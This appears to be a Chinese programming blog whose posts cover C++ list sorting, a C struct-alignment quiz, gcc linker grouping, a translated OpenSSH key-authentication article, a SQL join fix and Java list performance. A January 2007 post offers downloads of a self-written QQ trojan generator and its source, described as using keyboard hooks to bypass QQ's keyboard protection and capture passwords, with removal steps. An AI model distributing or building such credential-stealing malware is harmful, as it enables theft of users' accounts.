2010年3月6日

 说明:
         感谢luckycat陈梓瀚(vczh) 的留言。
         下面的代码已经在Windows VC6/ Cygwin/ Suse Linux环境下编译测试通过.

#include <iostream>
#include 
<list>
#include 
<string>
#include 
<cctype>

using namespace std;

typedef unsigned 
int    UINT32;
typedef unsigned 
short  UINT16;

/************************************************************************/
/* 枚举定义: 性别                                         */
/************************************************************************/
typedef 
enum enumSexyType
{
    SEXY_TYPE_MAN,   
//男性
    SEXY_TYPE_WOMAN, //女性
    SEXY_TYPE_GAY,   //男同性恋
    SEXY_TYPE_LESIBAIN, //女同性恋

    SEXY_TYPE_BUTT   
//未知性别
}ENUM_SEXY_TYPE;

/************************************************************************/
/* 结构体定义:  人                                                      */
/************************************************************************/
typedef 
struct structMan
{
    UINT32    sexType; 
// 性别 ENUM_SEXY_TYPE
    UINT16      usAge;   // 年龄
    string    strName; // 名字
    string    strAddress; // 工作地址
    
    
bool operator < (const structMan &man) const
    {
        
return usAge < man.usAge;
    }

    
bool operator > (const structMan &man) const
    {
        
return usAge > man.usAge;
    }

    structMan(UINT32 enumSexType 
= SEXY_TYPE_MAN,\
              UINT16 usAge 
= 0 ,\
              
const string &refStrName = "" ,\
              
const string &refStrAddress = "")\
              : 
              sexType(enumSexType),\
              usAge(usAge) ,\
              strName(refStrName),\
              strAddress(refStrAddress)
    {
        
//DO NOTHING HERE
    }; 
}MAN;



//////////////////////////////////////////////////////////////////////////

typedef list
<MAN> Family;
typedef list
<MAN>::iterator FamilyIterator;

/*
 *    main函数 定义
 
*/
int main()
{
    
/* 初始化 */
    MAN stFather(SEXY_TYPE_MAN,   
28"倒霉熊老爸""华为技术有限公司");
    MAN stMother(SEXY_TYPE_WOMAN, 
27"虾米老妈""郑州大学第二附属医院");
    MAN stBaby  (SEXY_TYPE_BUTT,  
0,  "小天使",   "未知");
    Family myFamily;

    
/* 依次存放到list中    */
    myFamily.push_back(stFather);
    myFamily.push_back(stMother);
    myFamily.push_back(stBaby);

    
/* 调用list的sort函数进行排序, 默认会使用结构体重载的<号, 进行从小到大排序 */
    myFamily.sort();

    printf(
"按年龄从小到大排序:\n");
    FamilyIterator it 
= myFamily.begin();
    
while(it != myFamily.end())
    {
        printf(
"姓名: %s \n", it->strName.c_str());
        it
++;
    }

    
/* 调用模板函数 greater, 传入MAN结构体, 这样会调用结构体重载的>号, 进行从大到小排序 */
    greater
<MAN> gt;
    myFamily.sort(gt);

    printf(
"\n按年龄从大到小排序:\n");
    it 
= myFamily.begin();
    
while(it != myFamily.end())
    {
        printf(
"姓名: %s \n", it->strName.c_str());
        it
++;
    }

    
return 0;
}


posted @ 2010-03-06 15:42 小苏 阅读(12092) | 评论 (21)编辑 收藏

2009年10月28日

1、下题的输出是什么?
typedef struct
{
    int  num;
    char name[10];
    int  age;
}Student,*pStudent;

void printName(pStudent pt)
{
    printf("%s\n",pt->name);
    return;
}

void main()
{
    Student students[3]={{111, "liu", 18},
                {222, "wang", 19},
                {333, "zhao", 10}};
    printName(students+2);
    return;
}

2、选择
#include <stdio.h>
void main()
{
    union
    {
        int k;
        char i[2];
    }*s, a;
    s=&a;
    s->i[0]=0x39;
    s->i[1]=0x38;
    printf("%x\n", a.k);
}

A.3839 B.3938 C.380039 D.不可预知

3、
enum ENUM_A
{
    X1,
    Y1,
    Z1=6,
    A1,
    B1
};

enum ENUM_A enumA=Y1;
enum ENUM_A enumB=B1;

enumA=_______
enumB=_______

4、
VCHAR *pucCharArray[10][10];
typedef union unRec
{
    ULONG ulIndex;
    USHORT usLevel[6];
    UCHAR ucDos;
}REC_S;

REC_S stMax, *pstMax;

四字节对齐时    sizeof(pucCharArray)=______
           sizeof(stMax)=______
        sizeof(*stMax)=______

5、
typedef union unHead
{
    UCHAR aucSrc[6];
    struct tagContent
    {
        UCHAR ucFlag[3];
        ULONG ulNext;
    }Content;
}HEAD_S;

32位CPU,VC编译环境下:
强制一字节对齐情况下,请指出sizeof(HEAD_S)
强制二字节对齐情况下,请指出sizeof(HEAD_S)
强制四字节对齐情况下,请指出sizeof(HEAD_S)


6、
四字节对齐的情况下:
typedef struct tagRec
{
    long lA1;
    char cA2;
    char cA3;
    long lA4;
    long lA5;
}REC_S;

void main()
{
    REC_S stMax;
    printf("\r\n sizeof(stMax)=%d", sizeof(stMax));
    return;
}

输出结果为: sizeof(stMax)=______

7、
typedef struct tagtest
{
    unsigned char ucFlag;
    unsigned long ulLen;
}TEST_S;

TEST_S test[10];

四字节对其时: sizeof(TEST_S)=_____ sizeof(test)=______

8、
#pragma pack(4)
int main(int argc, char* argv[])
{
    struct tagtest1
    {
      short a;
      char  d;
      long  b;
      long  c;
    }

    struct tagtest2
    {
      long  b;
      short c;
      char  d;
      long  a;
    }

    struct tagtest3
    {
      short c;
      long  b;
      char  d;
      long  a;
    }

    struct tagtest1 stT1;
    struct tagtest2 stT2;
    struct tagtest3 stT3;
    printf("%d %d %d", sizeof(stT1), sizeof(stT2), sizeof(stT3));
    return 0;
}
#pragma pack()

输出是______

9、
typedef struct Head
{
    VCHAR aucSrc[6];
    VLONG ulType;
}HEAD_S;

在强制一字节对其的情况下,sizeof(HEAD_S)=____
在强制二字节对其的情况下,sizeof(HEAD_S)=____

10、
union tagAAAA
{
  struct
  {
    char  ucFirst;
    short usSecond;
    char  ucThird;
  }half;
  long lI;
}number;

struct tagBBBB
{
  char  ucFirst;
  short usSecond;
  char  ucThird;
  short usForth;
}half;

struct tagCCCC
{
  struct
  {
     char ucFirst;
     short usSecond;
     char ucThird;
  }half;
  long lI;
};

在字节对其为1的情况下:
sizeof(union tagAAAA)=_____
sizeof(struct tagBBBB)=____
sizeof(struct tagCCCC)=____
字节对齐为4的情况下:
sizeof(union tagAAAA)=_____
sizeof(struct tagBBBB)=____
sizeof(struct tagCCCC)=____

posted @ 2009-10-28 00:18 小苏 阅读(788) | 评论 (0)编辑 收藏

2009年8月21日

 语言 打折率
ASM 1.44
C/C++ 1
Java 0.7
SQL 0.62
JSP 0.7
HTML 0.35
XML 0.7
JS 0.7
SHELL 1
VHDL 1
Python 0.7
VB 0.8
Delphi 0.8
Bat 1

posted @ 2009-08-21 23:24 小苏 阅读(396) | 评论 (0)编辑 收藏

2008年11月9日

    使用gcc生成可执行文件时,大部分时候我们需要连接我们自己打包(AR)好的一些库文件,对于中大型(50万代码行以上)项目上,你将面对数个项目组,最好的情况是每个项目组发布自己的打包.ar文件,这些.ar文件之间没有任何依赖关系, 然后由持续集成(ci)小组对这些包进行连接,不幸的是,这几乎是不可能的, 我们在连接时还是遇到了liba.ar和libb.ar相互依赖的情况。

因为gcc的库是个有点怪怪的特性,在看-l帮助时可以看到:
       -l library
           Search the library named library when linking.  (The second alter-
           native with the library as a separate argument is only for POSIX
           compliance and is not recommended.)

           It makes a difference where in the command you write this option;
           the linker searches and processes libraries and object files in the
           order they are specified.  Thus, foo.o -lz bar.o searches library z
           after file foo.o but before bar.o.  If bar.o refers to functions in
           z, those functions may not be loaded.

    出于知识产权保护的考虑,每一个项目组可能只允许看到自己的代码和别的项目组的头文件,这给CI小组带来了很头痛的事情,很多时候你不得不把库顺序来回调整。我也遇到了这样让人崩溃的情形,问题是对于liba.ar和libb.ar相互以来的情形,你可能最终采取丑陋的做法,将其中一个库在前后放两次:
gcc -o out.bin liba.ar libb.ar liba.ar -lrt
否则,您将不得不面对 "xx not referenced"之类的错误。

看看gcc的帮助,有下面的选项
-Xlinker option
           Pass option as an option to the linker.  You can use this to supply
           system-specific linker options which GCC does not know how to rec-
           ognize.

           If you want to pass an option that takes an argument, you must use
           -Xlinker twice, once for the option and once for the argument.  For
           example, to pass -assert definitions, you must write -Xlinker
           -assert -Xlinker definitions.  It does not work to write -Xlinker
           "-assert definitions", because this passes the entire string as a
           single argument, which is not what the linker expects.

也就是说,-Xlinker是将连接选项传给连接器的,赶快看看ld的帮助有没有解决库顺序的选项吧:
 -( archives -)
       --start-group archives --end-group
           The archives should be a list of archive files.  They may be either
           explicit file names, or -l options.

           The specified archives are searched repeatedly until no  new  unde-
           fined  references  are  created.   Normally, an archive is searched
           only once in the order that it is specified on  the  command  line.
           If  a symbol in that archive is needed to resolve an undefined sym-
           bol referred to by an object in an archive that  appears  later  on
           the command line, the linker would not be able to resolve that ref-
           erence.  By grouping the archives, they all be searched  repeatedly
           until all possible references are resolved.

           Using  this  option has a significant performance cost.  It is best
           to use it only  when  there  are  unavoidable  circular  references
           between two or more archives.


不错,我们有个有点怪异的选项,-(和-),它能够强制"The specified archives are searched repeatedly"
god,这就是我们要找的啦。

最终的做法:
gcc -o output.bin -Xlinker "-(" liba.ar libb.ar -Xlinker "-)" -lrt

这样可以解决库顺序的问题了!问题是,如果你的库相互间的依赖如果错综复杂的话,可能会增加连接的时间,不过,做架构设计的都应该能考虑到这些问题吧。








posted @ 2008-11-09 12:18 小苏 阅读(10979) | 评论 (3)编辑 收藏

2008年5月1日

理解 RSA/DSA 认证

Daniel Robbins (drobbins@gentoo.org)
总裁/首席执行官,Gentoo Technologies,Inc.
2001 年 7 月

在本系列文章中,您将学习 RSA 和 DSA 认证的工作原理,以及了解如何正确设置无密码认证。在本系列的第一篇文章里,Daniel Robbins 主要介绍 RSA 和 DSA 认证协议并向您展示如何在网络上应用这些协议。

我们中有许多人把优秀的 OpenSSH(参见本文后面的参考资料)用作古老的 telnetrsh 命令的替代品,OpenSSH 不仅是安全的而且是加密的。OpenSSH 更加吸引人的特性之一是它能够使用基于一对互补的数字式密钥的 RSA 和 DSA 认证协议来认证用户。RSA 和 DSA 认证承诺不必提供密码就能够同远程系统建立连接,这是它的主要魅力之一。虽然这非常吸引人,但是 OpenSSH 的新用户们常常以一种快速却不完善的方式配置 RSA/DSA,结果虽然实现了无密码登录,却也在此过程中开了一个很大的安全漏洞。

什么是 RSA/DSA 认证?
SSH,特别是 OpenSSH(完全免费的 SSH 的实现),是一个不可思议的工具。类似于 telnetrshssh 客户程序也可以用于登录到远程机器。所要求的只是该远程机器正在运行 sshd,即 ssh 服务器进程。但是,与 telnet 不同的是,ssh 协议非常安全。加密数据流,确保数据流的完整性,甚至安全可靠的进行认证它都使用了专门的算法。

然而,虽然 ssh 的确很棒,但还是有一个 ssh 功能组件常常被忽略、被危险的误用或者简直就是被误解。这个组件就是 OpenSSH 的 RSA/DSA 密钥认证系统,它可以代替 OpenSSH 缺省使用的标准安全密码认证系统。

OpenSSH 的 RSA 和 DSA 认证协议的基础是一对专门生成的密钥,分别叫做专用密钥公用密钥。使用这些基于密钥的认证系统的优势在于:在许多情况下,有可能不必手工输入密码就能建立起安全的连接。

尽管基于密钥的认证协议相当安全,但是当用户并不完全了解这些简化操作对安全性的影响,为了方便而使用某些简化操作时,就会出现问题。本文中,我们 将详细讨论如何正确使用 RSA 和 DSA 认证协议,使我们不会冒任何不必要的安全性风险。在我的下一篇文章里,我将向您展示如何使用 ssh-agent 隐藏已经解密的专用密钥,还将介绍 keychain,它是 ssh-agent 的前端,可以在不牺牲安全性的前提下提供许多便利。如果您一直想要掌握 OpenSSH 更高级的认证功能的话,那么就请您继续往下读吧。

RSA/DSA 密钥的工作原理
下面从整体上粗略的介绍了 RSA/DSA 密钥的工作原理。让我们从一种假想的情形开始,假定我们想用 RSA 认证允许一台本地的 Linux 工作站(称作 localbox)打开 remotebox 上的一个远程 shell,remotebox 是我们的 ISP 的一台机器。此刻,当我们试图用 ssh 客户程序连接到 remotebox 时,我们会得到如下提示:

% ssh drobbins@remotebox
drobbins@remotebox's password:

此处我们看到的是 ssh 处理认证的缺省方式的一个示例。换句话说,它要求我们输入 remotebox 上的 drobbins 这个帐户的密码。如果我们输入我们在 remotebox 上的密码,ssh 就会用安全密码认证协议,把我们的密码传送给 remotebox 进行验证。但是,和 telnet 的情况不同,这里我们的密码是加密的,因此它不会被偷看到我们的数据连接的人截取。一旦 remotebox 把我们提供的密码同它的密码数据库相对照进行认证,成功的话,我们就会被允许登录,还会有一个 remotebox 的 shell 提示欢迎我们。虽然 ssh 缺省的认证方法相当安全,RSA 和 DSA 认证却为我们开创了一些新的潜在的机会。

但是,与 ssh 安全密码认证不同的是,RSA 认证需要一些初始配置。我们只需要执行这些初始配置步骤一次。之后,localboxremotebox 之间的 RSA 认证就毫不费力了。要设置 RSA 认证,我们首先得生成一对密钥,一把专用密钥和一把公用密钥。这两把密钥有一些非常有趣的性质。公用密钥用于对消息进行加密,只有拥有专用密钥的人才能对该消息进行解密。公用密钥只能用于 加密,而专用密钥只能用于对由匹配的公用密钥编码的消息进行解密。RSA(和 DSA)认证协议利用密钥对的这些特殊性质进行安全认证,并且不需要在网上传输任何保密的信息。

要应用 RSA 或者 DSA 认证,我们要执行一步一次性的配置步骤。我们把公用密钥拷贝到 remotebox。公用密钥之所以被称作是“公用的”有一个原因。因为它只能用于对那些给我们的消息进行 加密,所以我们不需要太担心它会落入其它人手中。一旦我们的公用密钥已经被拷贝到 remotebox 并且为了 remoteboxsshd 能够定位它而把它放在一个专门的文件(~/.ssh/authorized_keys)里,我们就为使用 RSA 认证登录到 remotebox 上做好了准备。

要用 RSA 登录的时候,我们只要在 localbox 的控制台键入 ssh drobbins@remotebox,就象我们常做的一样。可这一次,ssh 告诉 remoteboxsshd 它想使用 RSA 认证协议。接下来发生的事情非常有趣。Remoteboxsshd 会生成一个随机数,并用我们先前拷贝过去的公用密钥对这个随机数进行加密。然后, sshd 把加密了的随机数发回给正在 localbox 上运行的 ssh。接下来,轮到我们的 ssh专用密钥对这个随机数进行解密后,再把它发回给 remotebox,实际上等于在说:“瞧,我确实有匹配的专用密钥;我能成功的对您的消息进行解密!”最后, sshd 得出结论,既然我们持有匹配的专用密钥,就应当允许我们登录。因此,我们有匹配的专用密钥这一事实授权我们访问 remotebox

两项注意事项
关于 RSA 和 DSA 认证有两项重要的注意事项。第一项是我们的确只需要生成一对密钥。然后我们可以把我们的公用密钥拷贝到想要访问的那些远程机器上,它们都会根据我们的那把专用密钥进行恰当的认证。换句话说,我们并不需要为想要访问的 每个系统都准备一对密钥。只要一对就足够了。

另一项注意事项是专用密钥不应落入其它人手中。正是专用密钥授权我们访问远程系统,任何拥有我们的专用密钥的人都会被授予和我们完全 相同的特权。如同我们不想让陌生人有我们的住处的钥匙一样,我们应该保护我们的专用密钥以防未授权的使用。在比特和字节的世界里,这意味着没有人是本来就 应该能读取或是拷贝我们的专用密钥的。

ssh 的开发者们当然知道专用密钥的重要性,而且他们已经在 sshssh-keygen 里加入了一些防范措施,以防止我们的专用密钥被滥用。首先,ssh 被设置成了如果我们的密钥的文件权限允许除我们之外的任何人读取密钥,就打印出一条大大的警告消息。其次,在我们用 ssh-keygen 创建公用/专用密钥对的时候,ssh-keygen 会要求我们输入一个密码短语。如果我们输入了密码短语,ssh-keygen 就会用该密码短语加密我们的专用密钥,这样,即使专用密钥被盗,对于那些碰巧不知道密码短语的人而言,这把专用密钥是毫无用处的。具备了这一知识后,让我们看一下如何设置 ssh 以应用 RSA 和 DSA 认证协议。

ssh-keygen 细探
设置 RSA 认证的第一步从生成一对公用/专用密钥对开始。RSA 认证是 ssh 密钥认证的最初形式,因此 RSA 应该可以用于 OpenSSH 的所有版本,尽管这样,我还是推荐您安装可用的最近版本,在我写这篇文章的时候是 openssh-2.9_p2。生成一对 RSA 密钥的方法如下:

% ssh-keygen
Generating public/private rsa1 key pair.
Enter file in which to save the key (/home/drobbins/.ssh/identity): (hit enter)
Enter passphrase (empty for no passphrase): (enter a passphrase)
Enter same passphrase again: (enter it again)
Your identification has been saved in /home/drobbins/.ssh/identity.
Your public key has been saved in /home/drobbins/.ssh/identity.pub.
The key fingerprint is:
a4:e7:f2:39:a7:eb:fd:f8:39:f1:f1:7b:fe:48:a1:09 drobbins@localbox

ssh-keygen 要求输入存放密钥的缺省位置时,我们敲回车键接受缺省的 /home/drobbins/.ssh/identity。ssh-keygen 将把专用密钥保存在此路径中,公用密钥就存在紧临它的一个叫做 identity.pub 的文件里。

还要请您注意一下 ssh-keygen 还提示过我们输入密码短语。当时我们输入了一个好的密码短语(七位或者更多位难以预测的字符)。然后 ssh-keygen 用这个密码短语加密了我们的专用密钥(~/.ssh/identity),以使我们的专用密钥对于那些不知道这个密码短语的人将变得毫无用处。

追求快速的折衷方案
当我们指定密码短语时,虽然这使得 ssh-keygen 保护我们的专用密钥以防误用,但是也带来了一点小小的不便。现在,每当我们试图用 ssh 连接到 drobbins@remotebox 帐户时,ssh 都会提示我们输入该密码短语以便它能对我们的专用密钥进行解密,并使用我们的专用密钥进行 RSA 认证。此外,我们输入的不是 remoteboxdrobbins 帐户的密码,而是在本地机器上对专用密钥进行解密所需要的密码短语。一旦我们的专用密钥被解密,我们的 ssh 客户程序就会处理其余的事情。虽然使用我们的远程密码和使用 RSA 密码短语的机制完全不同,但实际上还是会提示我们输入一个“保密的短语”给 ssh

# ssh drobbins@remotebox
Enter passphrase for key '/home/drobbins/.ssh/identity': (enter passphrase)
Last login: Thu Jun 28 20:28:47 2001 from localbox.gentoo.org

Welcome to remotebox!

%

这里就是人们经常会被误导而导致追求快速的折衷方案的地方。有很多时候,仅仅是为了不必输入密码,人们就会创建不加密的专用密钥。那样的话,他们只要输入 ssh 命令,立刻就会通过 RSA(或是 DSA)认证并登录。

# ssh drobbins@remotebox
Last login: Thu Jun 28 20:28:47 2001 from localbox.gentoo.org

Welcome to remotebox!

%

然而,尽管这样很方便,但是在还没有完全理解这种方法对安全性的影响时,您不应该使用。如果有人在某一时刻闯入了 localbox,一把不加密的专用密钥使得他们也自动有权访问 remotebox 以及其它所有用这把公用密钥配置过的系统。

我知道您在想些什么。无密码认证,虽然有点冒险,可看起来的确很诱人。我完全同意。但是, 还有更好的办法!请相信我,我将向您展示如何既可以享受到无密码认证的好处,又不必牺牲专用密钥的安全性。在我的下一篇文章里,我还将向您展示如何熟练的使用 ssh-agent(正是它最先使得安全无密码认证成为可能)。现在,让我们通过设置 RSA 和 DSA 认证为使用 ssh-agent 做好准备。下面是逐步的指导。

RSA 密钥对的生成
要设置 RSA 认证,我们需要执行生成公用/专用密钥对的一次性步骤。我们的输入如下:

% ssh-keygen

出现提示时,请接受缺省的密钥位置(典型的情况下是 ~/.ssh/identity 和存储公用密钥的 ~/.ssh/identity.pub),并提供给 ssh-keygen 一个安全的密码短语。一旦 ssh-keygen 完成,您将会得到一把公用密钥和一把用密码短语加密的专用密钥。

RSA 公用密钥的安装
接下来,我们需要把正在运行 sshd 的远程系统设置成使用我们的公用 RSA 密钥进行认证。典型情况下,我们通过象下面这样把公用密钥拷贝到远程系统完成这一步:

% scp ~/.ssh/identity.pub drobbins@remotebox:

由于 RSA 认证还没有完全设置好,所以会提示我们输入 remotebox 上的密码。请您照做。然后,登录到 remotebox 并把公用密钥附加到文件 ~/.ssh/authorized_keys 上,如下所示:

% ssh drobbins@remotebox
drobbins@remotebox's password: (enter password)
Last login: Thu Jun 28 20:28:47 2001 from localbox.gentoo.org

Welcome to remotebox!

% cat identity.pub >> ~/.ssh/authorized_keys
% exit

现在,配置过 RSA 认证以后,当我们试图使用 ssh 连接到 remotebox 时,应该会提示我们输入 RSA 密码短语(而不是我们的密码)。

% ssh drobbins@remotebox
Enter passphrase for key '/home/drobbins/.ssh/identity':



好哇,RSA 认证的配置完成了!如果刚才没有提示您输入密码短语,您可以试验一下以下几种情况。第一,尝试通过输入 ssh -1 drobbins@remotebox 登录。它会让 ssh 只应用 ssh 协议版本 1,如果出于某种原因远程系统缺省设置的是 DSA 认证的话,可能会要求这么做。如果不奏效的话,请确认您的 /etc/ssh/ssh_config 里没有写着这么一行 RSAAuthentication no。如果有的话,请您在前面加上一个“#”把这行注释掉。另外,还可以试着同 remotebox 的系统管理员联络,核实一下在他们那一端已经启用了 RSA 认证,并且 /etc/ssh/sshd_config 里的设置是正确的。

DSA 密钥的生成
ssh 协议的版本 1 使用的是 RSA 密钥,而 DSA 密钥却用于协议级 2,这是 ssh 协议的最新版本。目前所有的 OpenSSH 版本都应该既能使用 RSA 密钥又能使用 DSA 密钥。DSA 密钥以如下类似于 RSA 密钥的方式使用 OpenSSH 的 ssh-keygen 生成:

% ssh-keygen -t dsa

又会提示我们输入密码短语。输入一个安全的密码短语。还会提示我们输入保存 DSA 密钥的位置。正常情况下,缺省的 ~/.ssh/id_dsa 和 ~/.ssh/id_dsa.pub 就可以了。在我们一次性生成 DSA 密钥完成后,就该把我们的 DSA 公用密钥安装到远程系统上去了。

DSA 公用密钥的安装
DSA 公用密钥的安装又是几乎和 RSA 安装完全一样。对于 DSA,我们将要把 ~/.ssh/id_dsa.pub 文件拷贝到 remotebox,然后把它附加到 remotebox 上的 ~/.ssh/authorized_keys2 文件。请注意这个文件的名字和 RSA 的 authorized_keys 文件名不同。一旦配置完毕,输入我们的 DSA 专用密钥的密码短语就应该能登录到 remotebox,而不需要我们输入在 remotebox 上真正的密码。

下一篇
此刻,您应该已经可以使用 RSA 或者 DSA 认证了,但是在每一次新连接时,您仍需输入您的密码短语。在我的下一篇文章里,我们将会了解到如何使用 ssh-agent,它确实是一个很不错的系统,不仅允许我们提供密码就建立连接,而且还使我们的专用密钥可以在磁盘上保持加密状态。我还将介绍 keychain,它是一个非常方便的 ssh-agent 前端,可以使 ssh-agent 比以前更可靠、更方便而且使用起来更具趣味性。在此之前,请就近查阅下面列出的参考资料以使您能跟上进度。

参考资料



关于作者
authorDaniel Robbins 居住在美国新墨西哥州的阿尔布开克。他主创了 Gentoo Linux,这是一种用于 PC 的高级 Linux,以及 Portage 系统,是用于 Linux 的下一代移植系统。他还是几本 Macmillan 出版的书籍 Caldera OpenLinux UnleashedSuSE Linux UnleashedSamba Unleashed 的投稿人。Daniel 自二年级起就与计算机结下了不解之缘,那时他最先接触的是 Logo 程序语言,并沉溺于 Pac Man 游戏中。这也许就是他至今仍担任 SONY Electronic Publishing/Psygnosis 首席图形设计师的原因所在。Daniel 喜欢与妻子 Mary 和新出生的女儿 Hadassah 一起共度时光。您可以通过 drobbins@gentoo.org 和 Daniel 联系。

posted @ 2008-05-01 15:54 小苏 阅读(1835) | 评论 (0)编辑 收藏

2007年7月13日

今日见小王同志眉头微皱,心想这兄台必然遇到难题,遂问其故。果不其然,他在通过日志表统计用户使用情况时创建试图屡屡失败。
我以前也没有做过类似的SQL,但又想这实现总该不难,于是拿来分析,情况如下:
表1-日志表,表结构如下:
ID,F_LOGIN,MTime,ManageName 这ID是主键(ID在我看来都是主键,下文不再赘述),F_LOGIN是用户的登陆名缩写,MTime是用户的操作时间,ManageName是用户操作的模块名称
表2-用户表,结构如下:
ID,F_ORDER,F_LOGIN,F_USERNAME,F_DEPTNAME...,F_ORDER是用户的顺序号,F_LOGIN是用户的登陆名缩写,F_USERNAME是用户的中文名,F_DEPTNAME是用户所在单位的名称
表3-部门表,结构如下:
ID,F_DEPTORDER,F_DEPTNAME F_DEPTORDER是部门顺序号,F_DEPTNAME是部门名称。

好了,就是这么三个表,客户要求根据统计用户对每个模块的使用次数,并要求按照部门顺序进行排序,并且统计结果排除管理帐号admin:
怎么办? 看到小王以前的视图是:

SELECT  用户表.F_DEPTNAME, COUNT(*)
      AS count, 部门表.F_ORDER
FROM 日志表 INNER JOIN
      用户表 ON
      日志表.F_login = 用户表.F_LOGIN INNER JOIN
      部门表 ON
      用户表.F_DEPTNAME = 部门表.F_DEPATNAME
WHERE (日志表.F_login <> 'admin')
GROUP BY 用户表.F_DEPTNAME,
      部门表.F_NO
ORDER BY 部门表.F_NO

郁闷,这试图看起来没什么问题啊,但是一运行问题就来了:
考,如果部门A的用户都没有使用,也就是日志表里没有记录,那么视图里根本就不会显示该单位,但是很明显这样不对,我们需要没有使用的单位显示次数为0嘛,
我想办法不是明摆着的嘛,把"INNER JOIN 部门表"改为"RIGHT JOIN"部门表不就ok了么,好,改变:

SELECT  用户表.F_DEPTNAME, COUNT(*)
      AS count, 部门表.F_ORDER
FROM 日志表 INNER JOIN
      用户表 ON
      日志表.F_login = 用户表.F_LOGIN RIGHT JOIN
      部门表 ON
      用户表.F_DEPTNAME = 部门表.F_DEPATNAME
WHERE (日志表.F_login <> 'admin')
GROUP BY 用户表.F_DEPTNAME,
      部门表.F_NO
ORDER BY 部门表.F_NO

运行,又郁闷,怎么还是没有出现,抓耳挠腮半晌弄不明白,心想反正老子最不怕的就是困难(最怕的是美女放电^_^),我一句一句来,调试、调试,终于发现问题所在:
"WHERE (日志表.F_login <> 'admin')"
当Right join以后,没有操作的部门会在视图留下一条记录,而这条记录只包含部门表的信息,用户表和日志表均为NULL,NULL是没有办法和'admin'比较的,也就是说NULL <> 'admin' 返回的是false,怎么办?调整视图join的次序,如下:
SELECT  用户表.F_DEPTNAME, COUNT(*)
      AS count, 部门表.F_ORDER
FROM 用户表 INNER JOIN
      部门表 ON
      用户表.F_DEPTNAME = 部门表.F_DEPATNAME LEFT JOIN
      日志表 ON
      日志表.F_login = 用户表.F_LOGIN
WHERE (用户表.F_login <> 'admin')
GROUP BY 用户表.F_DEPTNAME,
      部门表.F_NO
ORDER BY 部门表.F_NO

这样不管怎么变,这所有用户和部门都是有的,而且admin也过滤的,但是....不对啊,怎么没有用户的单位使用次数都很大啊,哦,原来是我用的count(*)
有问题,肯定得用sum函数啦。查查联机丛书,最后定稿如下:
SELECT  用户表.F_DEPTNAME,
SUM(CASE WHEN 统计表.F_login IS NULL THEN 0 ELSE 1 END) as count,
部门表.F_ORDER
FROM 用户表 INNER JOIN
      部门表 ON
      用户表.F_DEPTNAME = 部门表.F_DEPATNAME LEFT JOIN
      日志表 ON
      日志表.F_login = 用户表.F_LOGIN
WHERE (用户表.F_login <> 'admin')
GROUP BY 用户表.F_DEPTNAME,
      部门表.F_NO
ORDER BY 部门表.F_NO


终于搞定了,万岁!!不过CASE的使用也分两种,一种是简单CASE函数,一种是CASE搜索函数,联机从书中关于when_expression 和Boolean_expression 写的很笼统,我的理解when_expression就是一个值,而Boolean_expression是一个判断,嗯,写这个破东西也婆婆妈妈的写了半个小时,到此收笔。

posted @ 2007-07-13 09:32 小苏 阅读(662) | 评论 (0)编辑 收藏

2007年4月4日

     摘要: 这里我们要构建一个基于Trac的项目管理系统。代码管理使用subversion,项目管理使用Trac。所需要的软件包如下: §    Trac 0.10,Trac程序 §    Apache 2.0.59,Web服务器 §    subversion 1.4.3,...  阅读全文

posted @ 2007-04-04 14:55 小苏 阅读(2209) | 评论 (0)编辑 收藏

2007年1月31日

用vc写的QQ木马,
破解QQ2006键盘保护。
在xp下测试通过。

使用windows消息和键盘钩子,修改QQ键盘保护函数地址,使其键盘保护失去作用。

声明:
仅供vc爱好者学习参考使用,不得用于非法盗取他人QQ号码及密码,任何因此引起的纠纷概与本人无关。

QQ:270083015
Mail: findingworld@sina.com


下载生成器: http://www.cppblog.com/Files/findingworld/iloveqq木马生成器.rar
下载源码: http://www.cppblog.com/Files/findingworld/iloveqq木马源码.rar

删除办法:

1. 停掉QQ.exe和Timplatform.exe
2. 停掉Explorer.exe 并新建此进程
3. 到C:\windows下 删除loveqq.exe和hookdll.dll
4. 删除 HKEY_LOCAL_MACHINE->software->microsoft->windows->currentversion->run->loveqq


如果在测试中有什么问题,给我留言啦。

posted @ 2007-01-31 10:39 小苏 阅读(2479) | 评论 (27)编辑 收藏

2006年11月29日

     摘要: 事件源对象 event.srcElement.tagName event.srcElement.type 捕获释放 event.srcElement.setCapture(); event.srcElement.releaseCapture(); 事件按键 event.keyCode event.shiftKey event.altKey event.ctrlKey ...  阅读全文

posted @ 2006-11-29 19:35 小苏 阅读(873) | 评论 (0)编辑 收藏

copied from Pankaj Kumar's Weblog


The trade-offs in using java.util.ArrayList and java.util.LinkedList should be straight-forward, shouldn't it? At least this is what I used to think till today. But then most of my thinking around these datastructures were formed during college days, when C was the hottest language and Java and its Collection classes just didn't exist.

Not surprisingly, it is natural for me to think of arrays as fixed size containers, where elements can be accessed at random location through O(1) operation (ie; in constant time) and insertion/deletion in the middle are O(N) operations (ie; could take time proportional to the size of the array) and hence, are better avoided. In contrast, a linked list can grow in size, access of its head or tail and insertion/deletion in the middle are all O(1) operations (assuming that you have pointer to an adjacent element).

It is possible get around the fixed size limitation of arrays by writing a wrapper which will allocate a new array, copy the elements of the old array into the new one and then discard the old one (BTW, this is what ArrayList does). Still, the basic arrays remain a datastructure for collections of fixed size. In contrast, a linked list consists of nodes with 'pointers' to the next and previous node in the list. So, adding or removing a node is simply a matter of reassigning the pointers. Of course, this implies linear time for traversing upto an indexed node, starting from beginning or end. This simple model is very handy in deciding when to use an array and when to use a linked list.

In Java, the ArrayList and LinkedList classes provide a uniform interface to both these datastructures and hence, destroy this simple conceptual model, so necessary to make judicious implementation decisions, in impressionable young minds of many Java programmers. Let me further elaborate this with my recent own experience.

Today, while going over a graph traversal code, I was somewhat alarmed by the generous use of ArrayLists. This code was written by someone who perhaps had learnt programming with Java. As hinted earlier, both ArrayList and LinkedList implement List interface and support similar operations. An ArrayList can grow dynamically and allows insertion/deletion of elements. A LinkedList also allows access of elements through an index, exactly the same way as an ArrayList. This is all fine. However, the problem is that the apparent similarity in the API hides the widely different memory and time costs of these datastructures for different kinds of operations, luring the unwary to use them in dangerous ways:

  1. An empty ArrayList takes two to three times more memory than an empty LinkedList (because ArrayList would typically preallocate memory). This becomes important if you plan to keep an adjacency list of nodes for each node in the graph and you know beforehand that the nodes will have at most one or two adjacent nodes and the total number of nodes in the graph can be quite large.

  2. The following straight-forward loop to iterate over all elements of a list


      for (int i = 0; i < list.size(); i++)
        doSomething(list.get(i));


    works great for an ArrayList but will cause serious performance problems for a LinkedList. Can you guess why? The right way to iterate over a LinkedList is:


      ListIterator li = list.listIterator(0);
      while (li.hasNext())
        doSomething(li.next());


